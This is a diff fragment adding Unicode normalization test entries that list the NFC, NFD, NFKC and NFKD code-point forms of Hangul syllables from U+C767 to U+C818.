+{ source: [0xC767], NFC: [0xC767], NFD: [0x110B, 0x1174, 0x11B6], NFKC: [0xC767], NFKD: [0x110B, 0x1174, 0x11B6] },
+{ source: [0xC768], NFC: [0xC768], NFD: [0x110B, 0x1174, 0x11B7], NFKC: [0xC768], NFKD: [0x110B, 0x1174, 0x11B7] },
+{ source: [0xC769], NFC: [0xC769], NFD: [0x110B, 0x1174, 0x11B8], NFKC: [0xC769], NFKD: [0x110B, 0x1174, 0x11B8] },
+{ source: [0xC76A], NFC: [0xC76A], NFD: [0x110B, 0x1174, 0x11B9], NFKC: [0xC76A], NFKD: [0x110B, 0x1174, 0x11B9] },
+{ source: [0xC76B], NFC: [0xC76B], NFD: [0x110B, 0x1174, 0x11BA], NFKC: [0xC76B], NFKD: [0x110B, 0x1174, 0x11BA] },
+{ source: [0xC76C], NFC: [0xC76C], NFD: [0x110B, 0x1174, 0x11BB], NFKC: [0xC76C], NFKD: [0x110B, 0x1174, 0x11BB] },
+{ source: [0xC76D], NFC: [0xC76D], NFD: [0x110B, 0x1174, 0x11BC], NFKC: [0xC76D], NFKD: [0x110B, 0x1174, 0x11BC] },
+{ source: [0xC76E], NFC: [0xC76E], NFD: [0x110B, 0x1174, 0x11BD], NFKC: [0xC76E], NFKD: [0x110B, 0x1174, 0x11BD] },
+{ source: [0xC76F], NFC: [0xC76F], NFD: [0x110B, 0x1174, 0x11BE], NFKC: [0xC76F], NFKD: [0x110B, 0x1174, 0x11BE] },
+{ source: [0xC770], NFC: [0xC770], NFD: [0x110B, 0x1174, 0x11BF], NFKC: [0xC770], NFKD: [0x110B, 0x1174, 0x11BF] },
+{ source: [0xC771], NFC: [0xC771], NFD: [0x110B, 0x1174, 0x11C0], NFKC: [0xC771], NFKD: [0x110B, 0x1174, 0x11C0] },
+{ source: [0xC772], NFC: [0xC772], NFD: [0x110B, 0x1174, 0x11C1], NFKC: [0xC772], NFKD: [0x110B, 0x1174, 0x11C1] },
+{ source: [0xC773], NFC: [0xC773], NFD: [0x110B, 0x1174, 0x11C2], NFKC: [0xC773], NFKD: [0x110B, 0x1174, 0x11C2] },
+{ source: [0xC774], NFC: [0xC774], NFD: [0x110B, 0x1175], NFKC: [0xC774], NFKD: [0x110B, 0x1175] },
+{ source: [0xC775], NFC: [0xC775], NFD: [0x110B, 0x1175, 0x11A8], NFKC: [0xC775], NFKD: [0x110B, 0x1175, 0x11A8] },
+{ source: [0xC776], NFC: [0xC776], NFD: [0x110B, 0x1175, 0x11A9], NFKC: [0xC776], NFKD: [0x110B, 0x1175, 0x11A9] },
+{ source: [0xC777], NFC: [0xC777], NFD: [0x110B, 0x1175, 0x11AA], NFKC: [0xC777], NFKD: [0x110B, 0x1175, 0x11AA] },
+{ source: [0xC778], NFC: [0xC778], NFD: [0x110B, 0x1175, 0x11AB], NFKC: [0xC778], NFKD: [0x110B, 0x1175, 0x11AB] },
+{ source: [0xC779], NFC: [0xC779], NFD: [0x110B, 0x1175, 0x11AC], NFKC: [0xC779], NFKD: [0x110B, 0x1175, 0x11AC] },
+{ source: [0xC77A], NFC: [0xC77A], NFD: [0x110B, 0x1175, 0x11AD], NFKC: [0xC77A], NFKD: [0x110B, 0x1175, 0x11AD] },
+{ source: [0xC77B], NFC: [0xC77B], NFD: [0x110B, 0x1175, 0x11AE], NFKC: [0xC77B], NFKD: [0x110B, 0x1175, 0x11AE] },
+{ source: [0xC77C], NFC: [0xC77C], NFD: [0x110B, 0x1175, 0x11AF], NFKC: [0xC77C], NFKD: [0x110B, 0x1175, 0x11AF] },
+{ source: [0xC77D], NFC: [0xC77D], NFD: [0x110B, 0x1175, 0x11B0], NFKC: [0xC77D], NFKD: [0x110B, 0x1175, 0x11B0] },
+{ source: [0xC77E], NFC: [0xC77E], NFD: [0x110B, 0x1175, 0x11B1], NFKC: [0xC77E], NFKD: [0x110B, 0x1175, 0x11B1] },
+{ source: [0xC77F], NFC: [0xC77F], NFD: [0x110B, 0x1175, 0x11B2], NFKC: [0xC77F], NFKD: [0x110B, 0x1175, 0x11B2] },
+{ source: [0xC780], NFC: [0xC780], NFD: [0x110B, 0x1175, 0x11B3], NFKC: [0xC780], NFKD: [0x110B, 0x1175, 0x11B3] },
+{ source: [0xC781], NFC: [0xC781], NFD: [0x110B, 0x1175, 0x11B4], NFKC: [0xC781], NFKD: [0x110B, 0x1175, 0x11B4] },
+{ source: [0xC782], NFC: [0xC782], NFD: [0x110B, 0x1175, 0x11B5], NFKC: [0xC782], NFKD: [0x110B, 0x1175, 0x11B5] },
+{ source: [0xC783], NFC: [0xC783], NFD: [0x110B, 0x1175, 0x11B6], NFKC: [0xC783], NFKD: [0x110B, 0x1175, 0x11B6] },
+{ source: [0xC784], NFC: [0xC784], NFD: [0x110B, 0x1175, 0x11B7], NFKC: [0xC784], NFKD: [0x110B, 0x1175, 0x11B7] },
+{ source: [0xC785], NFC: [0xC785], NFD: [0x110B, 0x1175, 0x11B8], NFKC: [0xC785], NFKD: [0x110B, 0x1175, 0x11B8] },
+{ source: [0xC786], NFC: [0xC786], NFD: [0x110B, 0x1175, 0x11B9], NFKC: [0xC786], NFKD: [0x110B, 0x1175, 0x11B9] },
+{ source: [0xC787], NFC: [0xC787], NFD: [0x110B, 0x1175, 0x11BA], NFKC: [0xC787], NFKD: [0x110B, 0x1175, 0x11BA] },
+{ source: [0xC788], NFC: [0xC788], NFD: [0x110B, 0x1175, 0x11BB], NFKC: [0xC788], NFKD: [0x110B, 0x1175, 0x11BB] },
+{ source: [0xC789], NFC: [0xC789], NFD: [0x110B, 0x1175, 0x11BC], NFKC: [0xC789], NFKD: [0x110B, 0x1175, 0x11BC] },
+{ source: [0xC78A], NFC: [0xC78A], NFD: [0x110B, 0x1175, 0x11BD], NFKC: [0xC78A], NFKD: [0x110B, 0x1175, 0x11BD] },
+{ source: [0xC78B], NFC: [0xC78B], NFD: [0x110B, 0x1175, 0x11BE], NFKC: [0xC78B], NFKD: [0x110B, 0x1175, 0x11BE] },
+{ source: [0xC78C], NFC: [0xC78C], NFD: [0x110B, 0x1175, 0x11BF], NFKC: [0xC78C], NFKD: [0x110B, 0x1175, 0x11BF] },
+{ source: [0xC78D], NFC: [0xC78D], NFD: [0x110B, 0x1175, 0x11C0], NFKC: [0xC78D], NFKD: [0x110B, 0x1175, 0x11C0] },
+{ source: [0xC78E], NFC: [0xC78E], NFD: [0x110B, 0x1175, 0x11C1], NFKC: [0xC78E], NFKD: [0x110B, 0x1175, 0x11C1] },
+{ source: [0xC78F], NFC: [0xC78F], NFD: [0x110B, 0x1175, 0x11C2], NFKC: [0xC78F], NFKD: [0x110B, 0x1175, 0x11C2] },
+{ source: [0xC790], NFC: [0xC790], NFD: [0x110C, 0x1161], NFKC: [0xC790], NFKD: [0x110C, 0x1161] },
+{ source: [0xC791], NFC: [0xC791], NFD: [0x110C, 0x1161, 0x11A8], NFKC: [0xC791], NFKD: [0x110C, 0x1161, 0x11A8] },
+{ source: [0xC792], NFC: [0xC792], NFD: [0x110C, 0x1161, 0x11A9], NFKC: [0xC792], NFKD: [0x110C, 0x1161, 0x11A9] },
+{ source: [0xC793], NFC: [0xC793], NFD: [0x110C, 0x1161, 0x11AA], NFKC: [0xC793], NFKD: [0x110C, 0x1161, 0x11AA] },
+{ source: [0xC794], NFC: [0xC794], NFD: [0x110C, 0x1161, 0x11AB], NFKC: [0xC794], NFKD: [0x110C, 0x1161, 0x11AB] },
+{ source: [0xC795], NFC: [0xC795], NFD: [0x110C, 0x1161, 0x11AC], NFKC: [0xC795], NFKD: [0x110C, 0x1161, 0x11AC] },
+{ source: [0xC796], NFC: [0xC796], NFD: [0x110C, 0x1161, 0x11AD], NFKC: [0xC796], NFKD: [0x110C, 0x1161, 0x11AD] },
+{ source: [0xC797], NFC: [0xC797], NFD: [0x110C, 0x1161, 0x11AE], NFKC: [0xC797], NFKD: [0x110C, 0x1161, 0x11AE] },
+{ source: [0xC798], NFC: [0xC798], NFD: [0x110C, 0x1161, 0x11AF], NFKC: [0xC798], NFKD: [0x110C, 0x1161, 0x11AF] },
+{ source: [0xC799], NFC: [0xC799], NFD: [0x110C, 0x1161, 0x11B0], NFKC: [0xC799], NFKD: [0x110C, 0x1161, 0x11B0] },
+{ source: [0xC79A], NFC: [0xC79A], NFD: [0x110C, 0x1161, 0x11B1], NFKC: [0xC79A], NFKD: [0x110C, 0x1161, 0x11B1] },
+{ source: [0xC79B], NFC: [0xC79B], NFD: [0x110C, 0x1161, 0x11B2], NFKC: [0xC79B], NFKD: [0x110C, 0x1161, 0x11B2] },
+{ source: [0xC79C], NFC: [0xC79C], NFD: [0x110C, 0x1161, 0x11B3], NFKC: [0xC79C], NFKD: [0x110C, 0x1161, 0x11B3] },
+{ source: [0xC79D], NFC: [0xC79D], NFD: [0x110C, 0x1161, 0x11B4], NFKC: [0xC79D], NFKD: [0x110C, 0x1161, 0x11B4] },
+{ source: [0xC79E], NFC: [0xC79E], NFD: [0x110C, 0x1161, 0x11B5], NFKC: [0xC79E], NFKD: [0x110C, 0x1161, 0x11B5] },
+{ source: [0xC79F], NFC: [0xC79F], NFD: [0x110C, 0x1161, 0x11B6], NFKC: [0xC79F], NFKD: [0x110C, 0x1161, 0x11B6] },
+{ source: [0xC7A0], NFC: [0xC7A0], NFD: [0x110C, 0x1161, 0x11B7], NFKC: [0xC7A0], NFKD: [0x110C, 0x1161, 0x11B7] },
+{ source: [0xC7A1], NFC: [0xC7A1], NFD: [0x110C, 0x1161, 0x11B8], NFKC: [0xC7A1], NFKD: [0x110C, 0x1161, 0x11B8] },
+{ source: [0xC7A2], NFC: [0xC7A2], NFD: [0x110C, 0x1161, 0x11B9], NFKC: [0xC7A2], NFKD: [0x110C, 0x1161, 0x11B9] },
+{ source: [0xC7A3], NFC: [0xC7A3], NFD: [0x110C, 0x1161, 0x11BA], NFKC: [0xC7A3], NFKD: [0x110C, 0x1161, 0x11BA] },
+{ source: [0xC7A4], NFC: [0xC7A4], NFD: [0x110C, 0x1161, 0x11BB], NFKC: [0xC7A4], NFKD: [0x110C, 0x1161, 0x11BB] },
+{ source: [0xC7A5], NFC: [0xC7A5], NFD: [0x110C, 0x1161, 0x11BC], NFKC: [0xC7A5], NFKD: [0x110C, 0x1161, 0x11BC] },
+{ source: [0xC7A6], NFC: [0xC7A6], NFD: [0x110C, 0x1161, 0x11BD], NFKC: [0xC7A6], NFKD: [0x110C, 0x1161, 0x11BD] },
+{ source: [0xC7A7], NFC: [0xC7A7], NFD: [0x110C, 0x1161, 0x11BE], NFKC: [0xC7A7], NFKD: [0x110C, 0x1161, 0x11BE] },
+{ source: [0xC7A8], NFC: [0xC7A8], NFD: [0x110C, 0x1161, 0x11BF], NFKC: [0xC7A8], NFKD: [0x110C, 0x1161, 0x11BF] },
+{ source: [0xC7A9], NFC: [0xC7A9], NFD: [0x110C, 0x1161, 0x11C0], NFKC: [0xC7A9], NFKD: [0x110C, 0x1161, 0x11C0] },
+{ source: [0xC7AA], NFC: [0xC7AA], NFD: [0x110C, 0x1161, 0x11C1], NFKC: [0xC7AA], NFKD: [0x110C, 0x1161, 0x11C1] },
+{ source: [0xC7AB], NFC: [0xC7AB], NFD: [0x110C, 0x1161, 0x11C2], NFKC: [0xC7AB], NFKD: [0x110C, 0x1161, 0x11C2] },
+{ source: [0xC7AC], NFC: [0xC7AC], NFD: [0x110C, 0x1162], NFKC: [0xC7AC], NFKD: [0x110C, 0x1162] },
+{ source: [0xC7AD], NFC: [0xC7AD], NFD: [0x110C, 0x1162, 0x11A8], NFKC: [0xC7AD], NFKD: [0x110C, 0x1162, 0x11A8] },
+{ source: [0xC7AE], NFC: [0xC7AE], NFD: [0x110C, 0x1162, 0x11A9], NFKC: [0xC7AE], NFKD: [0x110C, 0x1162, 0x11A9] },
+{ source: [0xC7AF], NFC: [0xC7AF], NFD: [0x110C, 0x1162, 0x11AA], NFKC: [0xC7AF], NFKD: [0x110C, 0x1162, 0x11AA] },
+{ source: [0xC7B0], NFC: [0xC7B0], NFD: [0x110C, 0x1162, 0x11AB], NFKC: [0xC7B0], NFKD: [0x110C, 0x1162, 0x11AB] },
+{ source: [0xC7B1], NFC: [0xC7B1], NFD: [0x110C, 0x1162, 0x11AC], NFKC: [0xC7B1], NFKD: [0x110C, 0x1162, 0x11AC] },
+{ source: [0xC7B2], NFC: [0xC7B2], NFD: [0x110C, 0x1162, 0x11AD], NFKC: [0xC7B2], NFKD: [0x110C, 0x1162, 0x11AD] },
+{ source: [0xC7B3], NFC: [0xC7B3], NFD: [0x110C, 0x1162, 0x11AE], NFKC: [0xC7B3], NFKD: [0x110C, 0x1162, 0x11AE] },
+{ source: [0xC7B4], NFC: [0xC7B4], NFD: [0x110C, 0x1162, 0x11AF], NFKC: [0xC7B4], NFKD: [0x110C, 0x1162, 0x11AF] },
+{ source: [0xC7B5], NFC: [0xC7B5], NFD: [0x110C, 0x1162, 0x11B0], NFKC: [0xC7B5], NFKD: [0x110C, 0x1162, 0x11B0] },
+{ source: [0xC7B6], NFC: [0xC7B6], NFD: [0x110C, 0x1162, 0x11B1], NFKC: [0xC7B6], NFKD: [0x110C, 0x1162, 0x11B1] },
+{ source: [0xC7B7], NFC: [0xC7B7], NFD: [0x110C, 0x1162, 0x11B2], NFKC: [0xC7B7], NFKD: [0x110C, 0x1162, 0x11B2] },
+{ source: [0xC7B8], NFC: [0xC7B8], NFD: [0x110C, 0x1162, 0x11B3], NFKC: [0xC7B8], NFKD: [0x110C, 0x1162, 0x11B3] },
+{ source: [0xC7B9], NFC: [0xC7B9], NFD: [0x110C, 0x1162, 0x11B4], NFKC: [0xC7B9], NFKD: [0x110C, 0x1162, 0x11B4] },
+{ source: [0xC7BA], NFC: [0xC7BA], NFD: [0x110C, 0x1162, 0x11B5], NFKC: [0xC7BA], NFKD: [0x110C, 0x1162, 0x11B5] },
+{ source: [0xC7BB], NFC: [0xC7BB], NFD: [0x110C, 0x1162, 0x11B6], NFKC: [0xC7BB], NFKD: [0x110C, 0x1162, 0x11B6] },
+{ source: [0xC7BC], NFC: [0xC7BC], NFD: [0x110C, 0x1162, 0x11B7], NFKC: [0xC7BC], NFKD: [0x110C, 0x1162, 0x11B7] },
+{ source: [0xC7BD], NFC: [0xC7BD], NFD: [0x110C, 0x1162, 0x11B8], NFKC: [0xC7BD], NFKD: [0x110C, 0x1162, 0x11B8] },
+{ source: [0xC7BE], NFC: [0xC7BE], NFD: [0x110C, 0x1162, 0x11B9], NFKC: [0xC7BE], NFKD: [0x110C, 0x1162, 0x11B9] },
+{ source: [0xC7BF], NFC: [0xC7BF], NFD: [0x110C, 0x1162, 0x11BA], NFKC: [0xC7BF], NFKD: [0x110C, 0x1162, 0x11BA] },
+{ source: [0xC7C0], NFC: [0xC7C0], NFD: [0x110C, 0x1162, 0x11BB], NFKC: [0xC7C0], NFKD: [0x110C, 0x1162, 0x11BB] },
+{ source: [0xC7C1], NFC: [0xC7C1], NFD: [0x110C, 0x1162, 0x11BC], NFKC: [0xC7C1], NFKD: [0x110C, 0x1162, 0x11BC] },
+{ source: [0xC7C2], NFC: [0xC7C2], NFD: [0x110C, 0x1162, 0x11BD], NFKC: [0xC7C2], NFKD: [0x110C, 0x1162, 0x11BD] },
+{ source: [0xC7C3], NFC: [0xC7C3], NFD: [0x110C, 0x1162, 0x11BE], NFKC: [0xC7C3], NFKD: [0x110C, 0x1162, 0x11BE] },
+{ source: [0xC7C4], NFC: [0xC7C4], NFD: [0x110C, 0x1162, 0x11BF], NFKC: [0xC7C4], NFKD: [0x110C, 0x1162, 0x11BF] },
+{ source: [0xC7C5], NFC: [0xC7C5], NFD: [0x110C, 0x1162, 0x11C0], NFKC: [0xC7C5], NFKD: [0x110C, 0x1162, 0x11C0] },
+{ source: [0xC7C6], NFC: [0xC7C6], NFD: [0x110C, 0x1162, 0x11C1], NFKC: [0xC7C6], NFKD: [0x110C, 0x1162, 0x11C1] },
+{ source: [0xC7C7], NFC: [0xC7C7], NFD: [0x110C, 0x1162, 0x11C2], NFKC: [0xC7C7], NFKD: [0x110C, 0x1162, 0x11C2] },
+{ source: [0xC7C8], NFC: [0xC7C8], NFD: [0x110C, 0x1163], NFKC: [0xC7C8], NFKD: [0x110C, 0x1163] },
+{ source: [0xC7C9], NFC: [0xC7C9], NFD: [0x110C, 0x1163, 0x11A8], NFKC: [0xC7C9], NFKD: [0x110C, 0x1163, 0x11A8] },
+{ source: [0xC7CA], NFC: [0xC7CA], NFD: [0x110C, 0x1163, 0x11A9], NFKC: [0xC7CA], NFKD: [0x110C, 0x1163, 0x11A9] },
+{ source: [0xC7CB], NFC: [0xC7CB], NFD: [0x110C, 0x1163, 0x11AA], NFKC: [0xC7CB], NFKD: [0x110C, 0x1163, 0x11AA] },
+{ source: [0xC7CC], NFC: [0xC7CC], NFD: [0x110C, 0x1163, 0x11AB], NFKC: [0xC7CC], NFKD: [0x110C, 0x1163, 0x11AB] },
+{ source: [0xC7CD], NFC: [0xC7CD], NFD: [0x110C, 0x1163, 0x11AC], NFKC: [0xC7CD], NFKD: [0x110C, 0x1163, 0x11AC] },
+{ source: [0xC7CE], NFC: [0xC7CE], NFD: [0x110C, 0x1163, 0x11AD], NFKC: [0xC7CE], NFKD: [0x110C, 0x1163, 0x11AD] },
+{ source: [0xC7CF], NFC: [0xC7CF], NFD: [0x110C, 0x1163, 0x11AE], NFKC: [0xC7CF], NFKD: [0x110C, 0x1163, 0x11AE] },
+{ source: [0xC7D0], NFC: [0xC7D0], NFD: [0x110C, 0x1163, 0x11AF], NFKC: [0xC7D0], NFKD: [0x110C, 0x1163, 0x11AF] },
+{ source: [0xC7D1], NFC: [0xC7D1], NFD: [0x110C, 0x1163, 0x11B0], NFKC: [0xC7D1], NFKD: [0x110C, 0x1163, 0x11B0] },
+{ source: [0xC7D2], NFC: [0xC7D2], NFD: [0x110C, 0x1163, 0x11B1], NFKC: [0xC7D2], NFKD: [0x110C, 0x1163, 0x11B1] },
+{ source: [0xC7D3], NFC: [0xC7D3], NFD: [0x110C, 0x1163, 0x11B2], NFKC: [0xC7D3], NFKD: [0x110C, 0x1163, 0x11B2] },
+{ source: [0xC7D4], NFC: [0xC7D4], NFD: [0x110C, 0x1163, 0x11B3], NFKC: [0xC7D4], NFKD: [0x110C, 0x1163, 0x11B3] },
+{ source: [0xC7D5], NFC: [0xC7D5], NFD: [0x110C, 0x1163, 0x11B4], NFKC: [0xC7D5], NFKD: [0x110C, 0x1163, 0x11B4] },
+{ source: [0xC7D6], NFC: [0xC7D6], NFD: [0x110C, 0x1163, 0x11B5], NFKC: [0xC7D6], NFKD: [0x110C, 0x1163, 0x11B5] },
+{ source: [0xC7D7], NFC: [0xC7D7], NFD: [0x110C, 0x1163, 0x11B6], NFKC: [0xC7D7], NFKD: [0x110C, 0x1163, 0x11B6] },
+{ source: [0xC7D8], NFC: [0xC7D8], NFD: [0x110C, 0x1163, 0x11B7], NFKC: [0xC7D8], NFKD: [0x110C, 0x1163, 0x11B7] },
+{ source: [0xC7D9], NFC: [0xC7D9], NFD: [0x110C, 0x1163, 0x11B8], NFKC: [0xC7D9], NFKD: [0x110C, 0x1163, 0x11B8] },
+{ source: [0xC7DA], NFC: [0xC7DA], NFD: [0x110C, 0x1163, 0x11B9], NFKC: [0xC7DA], NFKD: [0x110C, 0x1163, 0x11B9] },
+{ source: [0xC7DB], NFC: [0xC7DB], NFD: [0x110C, 0x1163, 0x11BA], NFKC: [0xC7DB], NFKD: [0x110C, 0x1163, 0x11BA] },
+{ source: [0xC7DC], NFC: [0xC7DC], NFD: [0x110C, 0x1163, 0x11BB], NFKC: [0xC7DC], NFKD: [0x110C, 0x1163, 0x11BB] },
+{ source: [0xC7DD], NFC: [0xC7DD], NFD: [0x110C, 0x1163, 0x11BC], NFKC: [0xC7DD], NFKD: [0x110C, 0x1163, 0x11BC] },
+{ source: [0xC7DE], NFC: [0xC7DE], NFD: [0x110C, 0x1163, 0x11BD], NFKC: [0xC7DE], NFKD: [0x110C, 0x1163, 0x11BD] },
+{ source: [0xC7DF], NFC: [0xC7DF], NFD: [0x110C, 0x1163, 0x11BE], NFKC: [0xC7DF], NFKD: [0x110C, 0x1163, 0x11BE] },
+{ source: [0xC7E0], NFC: [0xC7E0], NFD: [0x110C, 0x1163, 0x11BF], NFKC: [0xC7E0], NFKD: [0x110C, 0x1163, 0x11BF] },
+{ source: [0xC7E1], NFC: [0xC7E1], NFD: [0x110C, 0x1163, 0x11C0], NFKC: [0xC7E1], NFKD: [0x110C, 0x1163, 0x11C0] },
+{ source: [0xC7E2], NFC: [0xC7E2], NFD: [0x110C, 0x1163, 0x11C1], NFKC: [0xC7E2], NFKD: [0x110C, 0x1163, 0x11C1] },
+{ source: [0xC7E3], NFC: [0xC7E3], NFD: [0x110C, 0x1163, 0x11C2], NFKC: [0xC7E3], NFKD: [0x110C, 0x1163, 0x11C2] },
+{ source: [0xC7E4], NFC: [0xC7E4], NFD: [0x110C, 0x1164], NFKC: [0xC7E4], NFKD: [0x110C, 0x1164] },
+{ source: [0xC7E5], NFC: [0xC7E5], NFD: [0x110C, 0x1164, 0x11A8], NFKC: [0xC7E5], NFKD: [0x110C, 0x1164, 0x11A8] },
+{ source: [0xC7E6], NFC: [0xC7E6], NFD: [0x110C, 0x1164, 0x11A9], NFKC: [0xC7E6], NFKD: [0x110C, 0x1164, 0x11A9] },
+{ source: [0xC7E7], NFC: [0xC7E7], NFD: [0x110C, 0x1164, 0x11AA], NFKC: [0xC7E7], NFKD: [0x110C, 0x1164, 0x11AA] },
+{ source: [0xC7E8], NFC: [0xC7E8], NFD: [0x110C, 0x1164, 0x11AB], NFKC: [0xC7E8], NFKD: [0x110C, 0x1164, 0x11AB] },
+{ source: [0xC7E9], NFC: [0xC7E9], NFD: [0x110C, 0x1164, 0x11AC], NFKC: [0xC7E9], NFKD: [0x110C, 0x1164, 0x11AC] },
+{ source: [0xC7EA], NFC: [0xC7EA], NFD: [0x110C, 0x1164, 0x11AD], NFKC: [0xC7EA], NFKD: [0x110C, 0x1164, 0x11AD] },
+{ source: [0xC7EB], NFC: [0xC7EB], NFD: [0x110C, 0x1164, 0x11AE], NFKC: [0xC7EB], NFKD: [0x110C, 0x1164, 0x11AE] },
+{ source: [0xC7EC], NFC: [0xC7EC], NFD: [0x110C, 0x1164, 0x11AF], NFKC: [0xC7EC], NFKD: [0x110C, 0x1164, 0x11AF] },
+{ source: [0xC7ED], NFC: [0xC7ED], NFD: [0x110C, 0x1164, 0x11B0], NFKC: [0xC7ED], NFKD: [0x110C, 0x1164, 0x11B0] },
+{ source: [0xC7EE], NFC: [0xC7EE], NFD: [0x110C, 0x1164, 0x11B1], NFKC: [0xC7EE], NFKD: [0x110C, 0x1164, 0x11B1] },
+{ source: [0xC7EF], NFC: [0xC7EF], NFD: [0x110C, 0x1164, 0x11B2], NFKC: [0xC7EF], NFKD: [0x110C, 0x1164, 0x11B2] },
+{ source: [0xC7F0], NFC: [0xC7F0], NFD: [0x110C, 0x1164, 0x11B3], NFKC: [0xC7F0], NFKD: [0x110C, 0x1164, 0x11B3] },
+{ source: [0xC7F1], NFC: [0xC7F1], NFD: [0x110C, 0x1164, 0x11B4], NFKC: [0xC7F1], NFKD: [0x110C, 0x1164, 0x11B4] },
+{ source: [0xC7F2], NFC: [0xC7F2], NFD: [0x110C, 0x1164, 0x11B5], NFKC: [0xC7F2], NFKD: [0x110C, 0x1164, 0x11B5] },
+{ source: [0xC7F3], NFC: [0xC7F3], NFD: [0x110C, 0x1164, 0x11B6], NFKC: [0xC7F3], NFKD: [0x110C, 0x1164, 0x11B6] },
+{ source: [0xC7F4], NFC: [0xC7F4], NFD: [0x110C, 0x1164, 0x11B7], NFKC: [0xC7F4], NFKD: [0x110C, 0x1164, 0x11B7] },
+{ source: [0xC7F5], NFC: [0xC7F5], NFD: [0x110C, 0x1164, 0x11B8], NFKC: [0xC7F5], NFKD: [0x110C, 0x1164, 0x11B8] },
+{ source: [0xC7F6], NFC: [0xC7F6], NFD: [0x110C, 0x1164, 0x11B9], NFKC: [0xC7F6], NFKD: [0x110C, 0x1164, 0x11B9] },
+{ source: [0xC7F7], NFC: [0xC7F7], NFD: [0x110C, 0x1164, 0x11BA], NFKC: [0xC7F7], NFKD: [0x110C, 0x1164, 0x11BA] },
+{ source: [0xC7F8], NFC: [0xC7F8], NFD: [0x110C, 0x1164, 0x11BB], NFKC: [0xC7F8], NFKD: [0x110C, 0x1164, 0x11BB] },
+{ source: [0xC7F9], NFC: [0xC7F9], NFD: [0x110C, 0x1164, 0x11BC], NFKC: [0xC7F9], NFKD: [0x110C, 0x1164, 0x11BC] },
+{ source: [0xC7FA], NFC: [0xC7FA], NFD: [0x110C, 0x1164, 0x11BD], NFKC: [0xC7FA], NFKD: [0x110C, 0x1164, 0x11BD] },
+{ source: [0xC7FB], NFC: [0xC7FB], NFD: [0x110C, 0x1164, 0x11BE], NFKC: [0xC7FB], NFKD: [0x110C, 0x1164, 0x11BE] },
+{ source: [0xC7FC], NFC: [0xC7FC], NFD: [0x110C, 0x1164, 0x11BF], NFKC: [0xC7FC], NFKD: [0x110C, 0x1164, 0x11BF] },
+{ source: [0xC7FD], NFC: [0xC7FD], NFD: [0x110C, 0x1164, 0x11C0], NFKC: [0xC7FD], NFKD: [0x110C, 0x1164, 0x11C0] },
+{ source: [0xC7FE], NFC: [0xC7FE], NFD: [0x110C, 0x1164, 0x11C1], NFKC: [0xC7FE], NFKD: [0x110C, 0x1164, 0x11C1] },
+{ source: [0xC7FF], NFC: [0xC7FF], NFD: [0x110C, 0x1164, 0x11C2], NFKC: [0xC7FF], NFKD: [0x110C, 0x1164, 0x11C2] },
+{ source: [0xC800], NFC: [0xC800], NFD: [0x110C, 0x1165], NFKC: [0xC800], NFKD: [0x110C, 0x1165] },
+{ source: [0xC801], NFC: [0xC801], NFD: [0x110C, 0x1165, 0x11A8], NFKC: [0xC801], NFKD: [0x110C, 0x1165, 0x11A8] },
+{ source: [0xC802], NFC: [0xC802], NFD: [0x110C, 0x1165, 0x11A9], NFKC: [0xC802], NFKD: [0x110C, 0x1165, 0x11A9] },
+{ source: [0xC803], NFC: [0xC803], NFD: [0x110C, 0x1165, 0x11AA], NFKC: [0xC803], NFKD: [0x110C, 0x1165, 0x11AA] },
+{ source: [0xC804], NFC: [0xC804], NFD: [0x110C, 0x1165, 0x11AB], NFKC: [0xC804], NFKD: [0x110C, 0x1165, 0x11AB] },
+{ source: [0xC805], NFC: [0xC805], NFD: [0x110C, 0x1165, 0x11AC], NFKC: [0xC805], NFKD: [0x110C, 0x1165, 0x11AC] },
+{ source: [0xC806], NFC: [0xC806], NFD: [0x110C, 0x1165, 0x11AD], NFKC: [0xC806], NFKD: [0x110C, 0x1165, 0x11AD] },
+{ source: [0xC807], NFC: [0xC807], NFD: [0x110C, 0x1165, 0x11AE], NFKC: [0xC807], NFKD: [0x110C, 0x1165, 0x11AE] },
+{ source: [0xC808], NFC: [0xC808], NFD: [0x110C, 0x1165, 0x11AF], NFKC: [0xC808], NFKD: [0x110C, 0x1165, 0x11AF] },
+{ source: [0xC809], NFC: [0xC809], NFD: [0x110C, 0x1165, 0x11B0], NFKC: [0xC809], NFKD: [0x110C, 0x1165, 0x11B0] },
+{ source: [0xC80A], NFC: [0xC80A], NFD: [0x110C, 0x1165, 0x11B1], NFKC: [0xC80A], NFKD: [0x110C, 0x1165, 0x11B1] },
+{ source: [0xC80B], NFC: [0xC80B], NFD: [0x110C, 0x1165, 0x11B2], NFKC: [0xC80B], NFKD: [0x110C, 0x1165, 0x11B2] },
+{ source: [0xC80C], NFC: [0xC80C], NFD: [0x110C, 0x1165, 0x11B3], NFKC: [0xC80C], NFKD: [0x110C, 0x1165, 0x11B3] },
+{ source: [0xC80D], NFC: [0xC80D], NFD: [0x110C, 0x1165, 0x11B4], NFKC: [0xC80D], NFKD: [0x110C, 0x1165, 0x11B4] },
+{ source: [0xC80E], NFC: [0xC80E], NFD: [0x110C, 0x1165, 0x11B5], NFKC: [0xC80E], NFKD: [0x110C, 0x1165, 0x11B5] },
+{ source: [0xC80F], NFC: [0xC80F], NFD: [0x110C, 0x1165, 0x11B6], NFKC: [0xC80F], NFKD: [0x110C, 0x1165, 0x11B6] },
+{ source: [0xC810], NFC: [0xC810], NFD: [0x110C, 0x1165, 0x11B7], NFKC: [0xC810], NFKD: [0x110C, 0x1165, 0x11B7] },
+{ source: [0xC811], NFC: [0xC811], NFD: [0x110C, 0x1165, 0x11B8], NFKC: [0xC811], NFKD: [0x110C, 0x1165, 0x11B8] },
+{ source: [0xC812], NFC: [0xC812], NFD: [0x110C, 0x1165, 0x11B9], NFKC: [0xC812], NFKD: [0x110C, 0x1165, 0x11B9] },
+{ source: [0xC813], NFC: [0xC813], NFD: [0x110C, 0x1165, 0x11BA], NFKC: [0xC813], NFKD: [0x110C, 0x1165, 0x11BA] },
+{ source: [0xC814], NFC: [0xC814], NFD: [0x110C, 0x1165, 0x11BB], NFKC: [0xC814], NFKD: [0x110C, 0x1165, 0x11BB] },
+{ source: [0xC815], NFC: [0xC815], NFD: [0x110C, 0x1165, 0x11BC], NFKC: [0xC815], NFKD: [0x110C, 0x1165, 0x11BC] },
+{ source: [0xC816], NFC: [0xC816], NFD: [0x110C, 0x1165, 0x11BD], NFKC: [0xC816], NFKD: [0x110C, 0x1165, 0x11BD] },
+{ source: [0xC817], NFC: [0xC817], NFD: [0x110C, 0x1165, 0x11BE], NFKC: [0xC817], NFKD: [0x110C, 0x1165, 0x11BE] },
+{ source: [0xC818], NFC: [0xC818], NFD: [0x110C, 0x1165, 0x11BF], NFKC: [0xC818], NFKD: [0x110C, 0x1165, 0x11BF] },
